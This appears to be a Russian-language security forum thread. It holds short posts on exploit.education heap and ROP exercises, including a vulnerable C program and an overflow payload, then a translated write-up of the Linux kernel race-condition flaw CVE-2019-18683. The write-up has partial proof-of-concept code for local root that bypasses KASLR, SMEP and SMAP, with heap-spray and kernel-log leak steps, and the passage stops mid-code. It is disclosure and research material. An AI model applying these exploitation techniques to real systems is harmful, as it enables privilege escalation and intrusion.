ага ага. только мы с rcx (#4) прыгаем в жоп.(#5) а с жопа(#5) - в rcx(#5).
привет, infloop.
сутки где-то я думал что-же делать.
оказалось просто. вставить ret;
а за ret; положить в память то, что нам нужно. я так до конца и не понял
опираясь на что процессор выбирает ячейку из которой ему вздумается взять
следующий адрес для rsp (после ret фрейм так же сдвигается), но поскольку мы с
ним договорились - он обьяснил мне на пальцах.
ну и для красаты чисто
Эпилог
В начале бинарник выплёвывает нам лик. это адрес последней ячейки из 192.
не сильно сложная математика, если учитывать особенность данных в памяти и указателей на данные в памяти.
Это был Кот. Если шо - на связи.
Господа!
А что там за страшилки с блокировкой code injection? (я просто не смотрел, вот
и спрашиваю)
В общем, я был тут
то есть в heap. и зациклил выделение памяти. она с помощью calloc() выделялась
выделялась, а потом пробила хип c помощью memmove(). и выззвала функцию free()
все это из libc вызывала испытуемая программа.
так вот, прошёл я сквозь все слои либца, сквозь стэк, и ущёл в бесконечность.
мне аж немного не по себе стало)
циклилась она на этих строчках либца, когда пробивала всю память, словно
буром. а раздуплил меня сегфол
вот код самой проги:
C:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define REQSZ 128
#define BANNER \
"Welcome to hell, brought to you by https://exploit.education"
void check_path(char *buf) {
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if (p) {
start = strstr(buf, "ROOT");
if (start) {
while (*start != '/') start--;
memmove(start, p, l);
}
}
}
void get_requests(int in_fd, int out_fd) {
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while (1) {
if (dll >= 255) break;
buf = calloc(REQSZ, 1);
if (read(in_fd, buf, REQSZ) != REQSZ) break;
printf("%s\n", buf);
if (strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for (i = 0; i < dll; i++) {
write(out_fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp) {
printf("%s\n", BANNER);
fflush(stdout);
get_requests(0, 1);
return 0;
}
а вот пэйлоад которым я её кормлю:
python -c "print('FSRD\ /ROOT' * 12228)" > ./smash
Ребят, скажите, это и есть юз-афтер-фри?
как дальше ее юзать?
I used to collect some valuable resources and links related to security often, As part of my security collection here you go with "Windows Exploitation"
](https://docs.google.com/document/d/1HYPX0MMn2Qc0TNYRRIaaYU2GIbuTMXHm- JBhRR2vNMU/edit?usp=sharing)
Credits : Telegram Channels , it is not my own , I just clubbed it up for future research Windows Pentesting Resources : The blog/site/website notes were kept in one line above.In future i will update it for red teaming and other stuff.Thanks Page Initiated by Blueberry.@bbinfosec. Fun with...
![docs.google.com](/proxy.php?image=https%3A%2F%2Fssl.gstatic.com%2Fdocs%2Fdocuments%2Fimages%2Fkix- favicon7.ico&hash=9ce8e6ff736c1cd231aefa4c912d09c1&return_error=1) docs.google.com
Здраствуйте. Такая проблема, исследовал сетку, нашел эксплойт и шелл для этой уязвимости, нужно импортировать их с exploitdb. С этим проблем не возникло, все легко и просто. Изначально у эксплойта было расширение rb, а у шелла, соответственно, sh. Зашел в msf, обновил, эксплойт на месте, но шелл отсутсвует... Пробовал поменять у него (шелла) расширение на rb, думал в этом проблема - не помогло. Еще не вполне освоился в msf. Может кто подсказать в чем проблема и как ее решить? Thx in advance
В данной статье описана эксплуатация уязвимости CVE-2019-18683 в ядре Linux, которую я обнаружил и исправил в конце 2019 года. Указанный CVE- идентификатор присвоен нескольким аналогичным ошибкам типа «состояние гонки», которые присутствовали в подсистеме V4L2 ядра Linux на протяжении пяти лет. Пятнадцатого февраля я выступил с докладом по данной теме на конференции [OffensiveCon 2020](https://www.offensivecon.org/speakers/2020/alexander- popov.html) (ссылка на презентацию).
Далее я детально объясню, как работает разработанный мной прототип эксплойта (PoC exploit) для микроархитектуры x86_64. Данный эксплойт выполняет локальное повышение привилегий из контекста ядерного потока, где отсутствует отображение пользовательского адресного пространства. В статье также показано, как эксплойт для Ubuntu Server 18.04 обходит следующие средства защиты: KASLR, SMEP и SMAP.
Начнем с демонстрации работы эксплойта.
Уязвимости
Уязвимости CVE-2019-18683 вызваны некорректной работой с ядерным примитивом синхронизации в драйвере vivid подсистемы V4L2 (drivers/media/platform/vivid). Данный драйвер не требует наличия какого-либо специального аппаратного обеспечения. Уязвимый драйвер поставляется в дистрибутивах Ubuntu, Debian, Arch Linux, SUSE Linux Enterprise и openSUSE в качестве модуля ядра (CONFIG_VIDEO_VIVID=m).
Драйвер vivid эмулирует следующее оборудование, поддерживаемое подсистемой video4linux: устройства видеозахвата и видеовывода, различные приемники и передатчики радиосигналов и прочее. Ввод и вывод от vivid-устройств повторяет поведение настоящего оборудования. Это позволяет использовать данный драйвер для тестирования и разработки пользовательского ПО, взаимодействующего с подсистемой V4L2. Работа с интерфейсами драйвера vivid описана в документации ядра Linux.
В Ubuntu vivid-устройства доступны непривилегированному пользователю, так как Ubuntu применяет для них RW ACL при входе пользователя в систему:
Code:Copy to clipboard
a13x@ubuntu_server_1804:~$ getfacl /dev/video0
getfacl: Removing leading '/' from absolute path names
# file: dev/video0
# owner: root
# group: video
user::rw-
user:a13x:rw-
group::rw-
mask::rw-
other::---
К сожалению (или к счастью?), я не нашел способа выполнить автоматическую загрузку уязвимого модуля в системе. Это ограничило опасность CVE-2019-18683. По этой причине комитет по безопасности ядра Linux разрешил мне выполнить так называемое [полное разглашение](https://www.openwall.com/lists/oss- security/2019/11/02/1) (full disclosure).
Ошибки и исправления
Для поиска уязвимостей я использовал фаззер syzkaller со специальными доработками. Фаззер спровоцировал падение ядра. В ядерном журнале (kernel log) содержался отчет KASAN об использовании памяти после освобождения (use-after-free) во время работы со связным списком в функции vid_cap_buf_queue(). Исследование причин ошибки увело меня довольно далеко от ее симптомов. В итоге я обнаружил повторяющийся ошибочный подход к блокировкам ядерного мьютекса в функциях vivid_stop_generating_vid_cap(), vivid_stop_generating_vid_out() и sdr_cap_stop_streaming(). Это привело к трем идентичным уязвимостям, которым впоследствии был присвоен идентификатор CVE-2019-18683.
Данные функции вызываются при остановке видеостриминга. Все они блокируют ядерный мьютекс vivid_dev.mutex для работы с разделяемыми ресурсами. Но в данных функциях допускается одна и та же обидная ошибка при остановке ядерного потока, который также должен захватить тот же самый мьютекс. Разберем ошибку на примере vivid_stop_generating_vid_cap():
Code:Copy to clipboard
/* shutdown control thread */
vivid_grab_controls(dev, false);
mutex_unlock(&dev->mutex);
kthread_stop(dev->kthread_vid_cap);
dev->kthread_vid_cap = NULL;
mutex_lock(&dev->mutex);
Как только данная функция разблокирует мьютекс в попытке отдать его ядерному потоку (kthread), чтобы он смог остановиться, другой процесс vb2_fop_read() может захватить этот мьютекс вместо ядерного потока. В этом случае происходят серьезные неприятности: vb2_fop_read() модифицирует очередь буферов V4L2, что позже и приводит к использованию памяти после освобождения, когда видеостриминг снова будет запущен.
Для исправления данной ошибки в конечном итоге я сделал следующее:
1. Отказался от разблокировки мьютекса при остановке стриминга. Вот пример изменений в функции vivid_stop_generating_vid_cap(), которую мы рассмотрели выше:
Code:Copy to clipboard
/* shutdown control thread */
vivid_grab_controls(dev, false);
- mutex_unlock(&dev->mutex);
kthread_stop(dev->kthread_vid_cap);
dev->kthread_vid_cap = NULL;
- mutex_lock(&dev->mutex);
2. Использовал mutex_trylock() и schedule_timeout_uninterruptible() в цикле соответствующих ядерных потоков. В частности, vivid_thread_vid_cap() был изменен так:
Code:Copy to clipboard
for (;;) {
try_to_freeze();
if (kthread_should_stop())
break;
- mutex_lock(&dev->mutex);
+ if (!mutex_trylock(&dev->mutex)) {
+ schedule_timeout_uninterruptible(1);
+ continue;
+ }
...
}
Как это стало работать? Когда мьютекс заблокирован, а kthread проснулся, ему не удается захватить данный мьютекс, и он уходит в сон на один квант ядерного времени, чтобы позже попробовать снова. Когда данная ситуация происходит при остановке стриминга, в худшем случае kthread уйдет в сон несколько раз, а потом выйдет из цикла после срабатывания kthread_stop() в параллельном процессе. Таким образом, остановка kthread происходит совсем без блокировки (можно сказать, lockless).
Заснуть бывает не так просто
После завершения работы над эксплойтом я выполнил процедуру ответственного разглашения (в тот момент я был на Linux Security Summit в Лионе). Я отправил в security@kernel.org детальное описание найденных уязвимостей, исправления и программу, приводящую к падению ядра (такое обычно называют PoC crasher).
Линус Торвальдс ответил менее чем через два часа (круто!). Общение было очень приятным (в этот раз). Вместе с тем потребовалось разработать четыре версии исправляющего патча, потому что «поспать» в ядре оказалось не так-то просто.
В первой версии моего патча kthread в случае неудачной блокировки не спал вовсе:
Code:Copy to clipboard
if (!mutex_trylock(&dev->mutex))
continue;
Это исправило уязвимости, но, как заметил Линус, привнесло другую проблему – непрерывный цикл (busy-loop), который может привести к зависанию (deadlock) в ядре с отключенной вытесняющей многозадачностью. Я стал испытывать свой crasher на ядре, собранном с опцией CONFIG_PREEMPT_NONE=y. И действительно, через некоторое время мне удалось добиться ситуации, которую описал Линус.
Тогда я вернулся со второй версией патча, где kthread делает следующее:
Code:Copy to clipboard
if (!mutex_trylock(&dev->mutex)) {
schedule_timeout_interruptible(1);
continue;
}
Я использовал функцию schedule_timeout_interruptible() по примеру других частей кода в vivid-kthread-cap.c. Тогда мэйнтейнеры попросили меня заменить ее на schedule_timeout() для большей ясности, так как ядерные потоки обычно не должны получать сигналы. Я внес изменения, протестировал с помощью PoC crasher и отправил третью версию патча.
Но два дня спустя, уже после полного разглашения информации об уязвимости с моей стороны, Линус [обнаружил](https://lore.kernel.org/lkml/CAHk-=wgE- veRb7+mw9oMmsD97BLnL+q8Gxu0QRrK65S2yQfMdQ@mail.gmail.com/) неполадку:
Code:Copy to clipboard
I just realized that this too is wrong. It _works_, but because it
doesn't actually set the task state to anything particular before
scheduling, it's basically pointless. It calls the scheduler, but it
won't delay anything, because the task stays runnable.
So what you presumably want to use is either "cond_resched()" (to make
sure others get to run with no delay) or
"schedule_timeout_uninterruptible(1)" which actually sets the process
state to TASK_UNINTERRUPTIBLE.
The above works, but it's basically nonsensical.
Иными словами, в третьей версии патча ядро работает корректно по чистой случайности. А чтобы правильно отправить ядерный поток поспать, нужно обязательно задать ему состояние, отличное от TASK_RUNNING. Я исправил этот недостаток в финальной четвертой версии патча.
Позже мне пришла мысль добавить в ядро специальную проверку, которая обнаруживает такие случаи некорректного использования ядерного API. Я отправил в список рассылки ядра Linux патч, на который ответил Стивен Ростедт (Steven Rostedt), один из мэйнтейнеров планировщика задач в ядре Linux. Он интересно объяснил, почему такая ситуация в работе планировщика является штатной и моя проверка не требуется.
Тогда я просто доработал описание функции schedule_timeout(), чтобы предостеречь других разработчиков от неправильного использования данного API. Патч уже принят в ветку linux-next.
Вот так непросто иногда бывает заснуть
Далее я расскажу об эксплойте.
Выиграть гонку
Как было сказано ранее, функция vivid_stop_generating_vid_cap() вызывается для остановки стриминга, который работает в отдельном ядерном потоке. В ней мьютекс разблокируется в надежде, что обработчик vivid_thread_vid_cap() в данном ядерном потоке заблокирует его, чтобы выйти из своего цикла. Для эксплуатации уязвимости в первую очередь необходимо выиграть гонку против этого ядерного потока.
Далее приведен код программы, которая достигает состояния гонки и вызывает падение ядра. Если вы хотите протестировать ее на уязвимом ядре, проверьте, что:
Данная программа создает два потока. Чтобы быстрее достичь состояния гонки в ядре, они привязываются к отдельным CPU с помощью sched_setaffinity:
Code:Copy to clipboard
cpu_set_t single_cpu;
CPU_ZERO(&single_cpu);
CPU_SET(cpu_n, &single_cpu);
ret = sched_setaffinity(0, sizeof(single_cpu), &single_cpu);
if (ret != 0)
err_exit("[-] sched_setaffinity for a single CPU");
Вот код, который провоцирует ошибку в ядре (выполняется в двух одновременных потоках):
Code:Copy to clipboard
for (loop = 0; loop < LOOP_N; loop++) {
int fd = 0;
fd = open("/dev/video0", O_RDWR);
if (fd < 0)
err_exit("[-] open /dev/video0");
read(fd, buf, 0xfffded);
close(fd);
}
Функция vid_cap_start_streaming(), которая запускает стриминг, вызывается подсистемой V4L2 из функции vb2_core_streamon() при первом чтении из файлового дескриптора устройства.
Функция vivid_stop_generating_vid_cap(), которая останавливает стриминг, вызывается подсистемой V4L2 из функции __vb2_queue_cancel() при окончательном закрытии файлового дескриптора устройства.
Если другой процесс чтения выигрывает гонку против ядерного потока, выполняющего стриминг, он вызывает функцию vb2_core_qbuf() и неожиданно для V4L2 добавляет в очередь vb2_queue.queued_list дополнительный vb2_buffer. Это начальная стадия ошибки, которая приведет к порче ядерной памяти.
Обманутая подсистема V4L2
Тем временем стриминг полностью остановлен. Подсистема V4L2 вызывает функцию vb2_core_queue_release(), которая отвечает за освобождение ресурсов. Она в свою очередь вызывает функцию __vb2_queue_free(), которая освобождает наш vb2_buffer, добавленный в очередь на состоянии гонки.
Но драйвер vivid не осведомлен об этом и все еще имеет указатель на освобожденный объект. Когда стриминг запускается снова на следующей итерации цикла в эксплойте, данный указатель разыменовывается. Это обнаруживается отладочным механизмом KASAN:
Spoiler: Отчет KASAN
Code:Copy to clipboard
==================================================================
BUG: KASAN: use-after-free in vid_cap_buf_queue+0x188/0x1c0
Write of size 8 at addr ffff8880798223a0 by task v4l2-crasher/300
CPU: 1 PID: 300 Comm: v4l2-crasher Tainted: G W 5.4.0-rc2+ #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS ?-20190727_073836-buildvm-ppc64le-16.ppc.fedoraproject.org-3.fc31 04/01/2014
Call Trace:
dump_stack+0x5b/0x90
print_address_description.constprop.0+0x16/0x200
? vid_cap_buf_queue+0x188/0x1c0
? vid_cap_buf_queue+0x188/0x1c0
__kasan_report.cold+0x1a/0x41
? vid_cap_buf_queue+0x188/0x1c0
kasan_report+0xe/0x20
vid_cap_buf_queue+0x188/0x1c0
vb2_start_streaming+0x222/0x460
vb2_core_streamon+0x111/0x240
__vb2_init_fileio+0x816/0xa30
__vb2_perform_fileio+0xa88/0x1120
? kmsg_dump_rewind_nolock+0xd4/0xd4
? vb2_thread_start+0x300/0x300
? __mutex_lock_interruptible_slowpath+0x10/0x10
vb2_fop_read+0x249/0x3e0
v4l2_read+0x1bf/0x240
vfs_read+0xf6/0x2d0
ksys_read+0xe8/0x1c0
? kernel_write+0x120/0x120
? __ia32_sys_nanosleep_time32+0x1c0/0x1c0
? do_user_addr_fault+0x433/0x8d0
do_syscall_64+0x89/0x2e0
? prepare_exit_to_usermode+0xec/0x190
entry_SYSCALL_64_after_hwframe+0x44/0xa9
RIP: 0033:0x7f3a8ec8222d
Code: c1 20 00 00 75 10 b8 00 00 00 00 0f 05 48 3d 01 f0 ff ff 73 31 c3 48 83 ec 08 e8 4e fc ff ff 48 89 04 24 b8 00 00 00 00 0f 05 <48> 8b 3c 24 48 89 c2 e8 97 fc ff ff 48 89 d0 48 83 c4 08 48 3d 01
RSP: 002b:00007f3a8d0d0e80 EFLAGS: 00000293 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f3a8ec8222d
RDX: 0000000000fffded RSI: 00007f3a8d8d3000 RDI: 0000000000000003
RBP: 00007f3a8d0d0f50 R08: 0000000000000001 R09: 0000000000000026
R10: 000000000000060e R11: 0000000000000293 R12: 00007ffc8d26495e
R13: 00007ffc8d26495f R14: 00007f3a8c8d1000 R15: 0000000000000003
Allocated by task 299:
save_stack+0x1b/0x80
__kasan_kmalloc.constprop.0+0xc2/0xd0
__vb2_queue_alloc+0xd9/0xf20
vb2_core_reqbufs+0x569/0xb10
__vb2_init_fileio+0x359/0xa30
__vb2_perform_fileio+0xa88/0x1120
vb2_fop_read+0x249/0x3e0
v4l2_read+0x1bf/0x240
vfs_read+0xf6/0x2d0
ksys_read+0xe8/0x1c0
do_syscall_64+0x89/0x2e0
entry_SYSCALL_64_after_hwframe+0x44/0xa9
Freed by task 300:
save_stack+0x1b/0x80
__kasan_slab_free+0x12c/0x170
kfree+0x90/0x240
__vb2_queue_free+0x686/0x7b0
vb2_core_reqbufs.cold+0x1d/0x8a
__vb2_cleanup_fileio+0xe9/0x140
vb2_core_queue_release+0x12/0x70
_vb2_fop_release+0x20d/0x290
v4l2_release+0x295/0x330
__fput+0x245/0x780
task_work_run+0x126/0x1b0
exit_to_usermode_loop+0x102/0x120
do_syscall_64+0x234/0x2e0
entry_SYSCALL_64_after_hwframe+0x44/0xa9
The buggy address belongs to the object at ffff888079822000
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 928 bytes inside of
1024-byte region [ffff888079822000, ffff888079822400)
The buggy address belongs to the page:
page:ffffea0001e60800 refcount:1 mapcount:0 mapping:ffff88802dc03180 index:0xffff888079827800 compound_mapcount: 0
flags: 0x500000000010200(slab|head)
raw: 0500000000010200 ffffea0001e77c00 0000000200000002 ffff88802dc03180
raw: ffff888079827800 000000008010000c 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ffff888079822280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff888079822300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff888079822380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff888079822400: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
ffff888079822480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
==================================================================
Как можно видеть в данном отчете KASAN, ошибка происходит при доступе к объекту из кэша kmalloc-1k ядерного аллокатора. Данный кэш удобен для эксплуатации использования после освобождения, так как объекты из него используются в ядре реже, чем объекты меньшего размера. Это делает технику heap spraying более точной.
Heap spraying
Heap spraying – это техника эксплуатации, целью которой является размещение контролируемых данных по заданному адресу в куче (heap). Обычно для этого атакующий использует знания о поведении аллокатора и специальным образом создает в куче несколько объектов с контролируемым содержимым, которые переписывают целевую память.
В ядре Linux у slab-аллокатора есть следующая особенность: очередной kmalloc() возвращает указатель на тот элемент в slab-кэше, который был недавно освобожден (это делается для повышения производительности). На этом основывается техника heap spraying для эксплуатации использования памяти после освобождения: для перезаписи освобожденного ядерного объекта в динамической памяти создается другой объект того же размера, но с контролируемым содержимым. Это отражено на следующей схеме:
Есть отличная статья Виталия Николенко, в которой он описывает эффективную методику эксплуатации использования памяти после освобождения в ядре Linux. Она основана на использовании userfaultfd() и setxattr(). Очень рекомендую ознакомиться с ней до того, как продолжить чтение моей статьи. Главная идея состоит в том, что userfaultfd() дает контроль над временем жизни данных, размещенных в памяти ядра с помощью setxattr(). Этот трюк очень пригодился мне для эксплуатации CVE-2019-18683.
Как было описано выше, vb2_buffer освобождается при остановке стриминга и используется позже, когда стриминг запускается снова. Эта особенность помогает в эксплуатации уязвимости: heap spraying можно просто выполнить после закрытия файлового дескриптора устройства! Но с этим есть сложности: __vb2_queue_free() освобождает уязвимый vb2_buffer не самым последним. Другими словами, следующий kmalloc() не возвращает нужный указатель. Поэтому одного вызова setxattr() не хватает для того, чтобы переписать целевой объект, и нужно действительно выполнить «спрей».
Это не очень сочетается с методикой Виталия Николенко: процесс, вызывающий setxattr() зависает до тех пор, пока обработчик userfaultfd() не вызовет UFFDIO_COPY ioctl. Если необходимо, чтобы полезная нагрузка осталась в адресном пространстве ядра, данный ioctl вообще не следует вызывать. Я обошел эти ограничения методом грубой силы – создал целую группу потоков (pthreads) для выполнения heap spraying. Каждый поток вызывает setxattr() с установленным userfaultfd() и зависает. Кроме того, потоки распределены между CPU системы с помощью sched_setaffinity() для того, чтобы выделения ядерной памяти произошли во всех slab-кэшах (к каждому CPU привязан отдельный slab-кэш).
А теперь поговорим о полезной нагрузке, которая создается для перезаписи уязвимого vb2_buffer. Я опишу этапы ее разработки в хронологическом порядке.
Перехват потока исполнения в подсистеме V4L2
V4L2 – очень сложная подсистема ядра Linux. Ее название расшифровывается как Video for Linux version 2. На схеме представлены взаимосвязи между объектами, с которыми работает V4L2 (размеры объектов не в масштабе).
После того как у меня стабильно заработала перезапись освобожденного vb2_buffer, я потратил много времени на поиски эксплойт-примитива в V4L2, который с помощью этого можно получить. К сожалению, у меня не получилось сконструировать примитив произвольной записи (arbitrary write) с помощью vb2_buffer.planes.
Но позже я нашел указатель на функцию, который выглядел многообещающе: vb2_buffer.vb2_queue->mem_ops->vaddr. Прототип шикарно подходит для перехвата потока исполнения: функция принимает один аргумент типа void *. Более того, когда функция vaddr() вызывается, значение vb2_buffer.planes[0].mem_priv, которое я контролирую, передается ей в качестве аргумента.
Непредвиденные сложности: контекст ядерного потока
Найдя vb2_mem_ops.vaddr, я начал конструировать содержимое vb2_buffer, которое позволило бы достичь код V4L2, разыменовывающий данный указатель на функцию.
В первую очередь для эксперимента я выключил средства защиты платформы: SMAP (Supervisor Mode Access Prevention), SMEP (Supervisor Mode Execution Prevention) и KPTI (Kernel Page-Table Isolation). Затем сделал так, чтобы указатель vb2_buffer.vb2_queue ссылался на память в пользовательском адресном пространстве, выделенную с помощью mmap(). Это все время вызывало ошибку: unable to handle page fault. Оказалось, что разыменование данного указателя происходит в контексте ядерного потока (kthread context), где отображение пользовательского адресного пространства отсутствует.
Таким образом, обнаружилось препятствие для создания полезной нагрузки эксплойта: для размещения структур vb2_queue и vb2_mem_ops требуется память с известным адресом, к которой можно обращаться из ядерного потока.
Идея
В ходе описанного эксперимента я отменил изменения в коде ядра Linux, которые разработал для более глубокого фаззинга. После этого обнаружилось, что мой прототип эксплойта вызывает ядерное предупреждение (kernel warning) в V4L2 непосредственно перед порчей памяти. Далее приведен код из функции __vb2_queue_cancel(), который выдает данное предупреждение:
Code:Copy to clipboard
/*
* If you see this warning, then the driver isn't cleaning up properly
* in stop_streaming(). See the stop_streaming() documentation in
* videobuf2-core.h for more information how buffers should be returned
* to vb2 in stop_streaming().
*/
if (WARN_ON(atomic_read(&q->owned_by_drv_count))) {
Я понял, что могу как-то воспользоваться информацией из ядерного предупреждения в эксплойте (ядерный журнал доступен обычному пользователю на Ubuntu Server). Но я не знал, что именно можно сделать. Спустя некоторое время я решил посоветоваться с моим другом Андреем Коноваловым (xairy), известным исследователем безопасности операционных систем. Он подарил мне отличную идею – разместить полезную нагрузку в ядерном стеке и задержать ее там с помощью userfaultfd(), аналогично технике Виталия Николенко. Это может быть сделано с помощью любого системного вызова, который копирует данные в ядерный стек с помощью copy_from_user(). По моему мнению, это оригинальная техника, я бы назвал ее метод xairy , чтобы отблагодарить моего друга.
Части пазла сложились, я понял, что могу получить адрес стека из предупреждения в ядерном журнале и затем предугадать будущее расположение полезной нагрузки эксплойта. Это был самый радостный момент за все время исследования. Ради таких моментов мы и занимаемся этим, верно?
Итак, соберем вместе все этапы эксплуатации уязвимости. Описываемый метод позволяет обойти средства защиты SMAP, SMEP и KASLR на Ubuntu Server 18.04.
Эксплойт-оркестр
Для данного довольно сложного эксплойта я создал набор потоков (pthreads), которые управляются с помощью синхронизации на барьерах (pthread_barriers). Далее представлены барьеры, которые разбивают процесс эксплуатации на основные этапы:
Code:Copy to clipboard
#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)
#define THREADS_N 50
pthread_barrier_t barrier_prepare;
pthread_barrier_t barrier_race;
pthread_barrier_t barrier_parse;
pthread_barrier_t barrier_kstack;
pthread_barrier_t barrier_spray;
pthread_barrier_t barrier_fatality;
...
ret = pthread_barrier_init(&barrier_prepare, NULL, THREADS_N - 3);
if (ret != 0)
err_exit("[-] pthread_barrier_init");
ret = pthread_barrier_init(&barrier_race, NULL, 2);
if (ret != 0)
err_exit("[-] pthread_barrier_init");
ret = pthread_barrier_init(&barrier_parse, NULL, 3);
if (ret != 0)
err_exit("[-] pthread_barrier_init");
ret = pthread_barrier_init(&barrier_kstack, NULL, 3);
if (ret != 0)
err_exit("[-] pthread_barrier_init");
ret = pthread_barrier_init(&barrier_spray, NULL, THREADS_N - 5);
if (ret != 0)
err_exit("[-] pthread_barrier_init");
ret = pthread_barrier_init(&barrier_fatality, NULL, 2);
if (ret != 0)
err_exit("[-] pthread_barrier_init");
В данном эксплойте задействовано 50 потоков (pthreads) , каждый из которых имеет одну из пяти ролей :
Потоки, имеющие различные роли, синхронизируются на различных наборах барьеров. Последний параметр функции pthread_barrier_init() задает количество потоков, которые должны вместе подойти к данному барьеру (то есть вызвать pthread_barrier_wait()) для того, чтобы продолжить свое выполнение дальше. Пожалуй, так для меня выглядит мой «эксплойт-оркестр»:
View attachment 8470
Следующая таблица описывает все потоки эксплойта, их работу и синхронизацию на
барьерах с помощью pthread_barrier_wait(). Барьеры перечислены в
хронологическом порядке по ходу работы эксплойта. Данную таблицу следует
читать построчно, держа в уме, что все потоки работают параллельно.
Привожу отладочный вывод эксплойта, который наглядно демонстрирует механизм, описанный в данной таблице:
Spoiler: Отладочный вывод эксплойта
Code:Copy to clipboard
a13x@ubuntu_server_1804:~$ uname -a
Linux ubuntu_server_1804 4.15.0-66-generic #75-Ubuntu SMP Tue Oct 1 05:24:09 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
a13x@ubuntu_server_1804:~$
a13x@ubuntu_server_1804:~$ ./v4l2-pwn
begin as: uid=1000, euid=1000
Prepare the payload:
[+] payload for_heap is mmaped to 0x7f8c9e9b0000
[+] vivid_buffer of size 504 is at 0x7f8c9e9b0e08
[+] payload for_stack is mmaped to 0x7f8c9e9ae000
[+] timex of size 208 is at 0x7f8c9e9aef38
[+] userfaultfd #1 is configured: start 0x7f8c9e9b1000, len 0x1000
[+] userfaultfd #2 is configured: start 0x7f8c9e9af000, len 0x1000
We have 4 CPUs for racing; now create 50 pthreads...
[+] racer 1 is ready on CPU 1
[+] fatality is ready
[+] racer 0 is ready on CPU 0
[+] fault_handler for uffd 3 is ready
[+] kmsg parser is ready
[+] fault_handler for uffd 4 is ready
[+] 44 sprayers are ready (passed the barrier)
Racer 1: GO!
Racer 0: GO!
[+] found rsp "ffffb93600eefd60" in kmsg
[+] kernel stack top is 0xffffb93600ef0000
[+] found r11 "ffffffff9d15d80d" in kmsg
[+] kaslr_offset is 0x1a800000
Adapt payloads knowing that kstack is 0xffffb93600ef0000, kaslr_offset 0x1a800000:
vb2_queue of size 560 will be at 0xffffb93600eefe30, userspace 0x7f8c9e9aef38
mem_ops ptr will be at 0xffffb93600eefe68, userspace 0x7f8c9e9aef70, value 0xffffb93600eefe70
mem_ops struct of size 120 will be at 0xffffb93600eefe70, userspace 0x7f8c9e9aef78, vaddr 0xffffffff9bc725f1 at 0x7f8c9e9aefd0
rop chain will be at 0xffffb93600eefe80, userspace 0x7f8c9e9aef88
cmd will be at ffffb93600eefedc, userspace 0x7f8c9e9aefe4
[+] the payload for kernel heap and stack is ready. Put it.
[+] UFFD_EVENT_PAGEFAULT for uffd 4 on address = 0x7f8c9e9af000: 2 faults collected
[+] fault_handler for uffd 4 passed the barrier
[+] UFFD_EVENT_PAGEFAULT for uffd 3 on address = 0x7f8c9e9b1000: 44 faults collected
[+] fault_handler for uffd 3 passed the barrier
[+] and now fatality: run the shell command as root!
Анатомия полезной нагрузки эксплойта
В предыдущем разделе было описано управление (оркестрация, можно сказать) потоками в эксплойте. Было упомянуто, что полезная нагрузка создается:
Полезная нагрузка эксплойта состоит из трех частей:
Далее приведен код, который создает перечисленные структуры. В начале эксплойта данные для них подготавливаются в пользовательском адресном пространстве. Так инициализируется память, содержимое которой будет скопировано в ядерную кучу с помощью setxattr():
Code:Copy to clipboard
#define MMAP_SZ 0x2000
#define PAYLOAD_SZ 504
void init_heap_payload()
{
struct vivid_buffer *vbuf = NULL;
struct vb2_plane *vplane = NULL;
for_heap = mmap(NULL, MMAP_SZ, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (for_heap == MAP_FAILED)
err_exit("[-] mmap");
printf(" [+] payload for_heap is mmaped to %p\n", for_heap);
/* Don't touch the second page (needed for userfaultfd) */
memset(for_heap, 0, PAGE_SIZE);
xattr_addr = for_heap + PAGE_SIZE - PAYLOAD_SZ;
vbuf = (struct vivid_buffer *)xattr_addr;
vbuf->vb.vb2_buf.num_planes = 1;
vplane = vbuf->vb.vb2_buf.planes;
vplane->bytesused = 16;
vplane->length = 16;
vplane->min_length = 16;
printf(" [+] vivid_buffer of size %lu is at %p\n",
sizeof(struct vivid_buffer), vbuf);
}
Так инициализируется память, содержимое которой будет скопировано в ядерный стек с помощью системного вызова adjtimex():
Code:Copy to clipboard
#define PAYLOAD2_SZ 208
void init_stack_payload()
{
for_stack = mmap(NULL, MMAP_SZ, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (for_stack == MAP_FAILED)
err_exit("[-] mmap");
printf(" [+] payload for_stack is mmaped to %p\n", for_stack);
/* Don't touch the second page (needed for userfaultfd) */
memset(for_stack, 0, PAGE_SIZE);
timex_addr = for_stack + PAGE_SIZE - PAYLOAD2_SZ + 8;
printf(" [+] timex of size %lu is at %p\n",
sizeof(struct timex), timex_addr);
}
Как было сказано выше, после достижения состояния гонки поток, читающий ядерный журнал, извлекает из него следующую информацию:
Code:Copy to clipboard
#define R11_COMPONENT_TO_KASLR_OFFSET 0x195d80d
#define KERNEL_TEXT_BASE 0xffffffff81000000
kaslr_offset = strtoul(r11, NULL, 16);
kaslr_offset -= R11_COMPONENT_TO_KASLR_OFFSET;
if (kaslr_offset < KERNEL_TEXT_BASE) {
printf("bad kernel text base 0x%lx\n", kaslr_offset);
err_exit("[-] kmsg parsing for r11");
}
kaslr_offset -= KERNEL_TEXT_BASE;
Далее поток, прочитавший kmsg, адаптирует адреса в полезной нагрузке для ядерного стека и кучи. Это самая интересная и сложная часть атаки. При чтении данного кода полезно обратиться к отладочному выводу эксплойта (приведен выше).
Code:Copy to clipboard
#define TIMEX_STACK_OFFSET 0x1d0
#define LIST_OFFSET 24
#define OPS_OFFSET 64
#define CMD_OFFSET 172
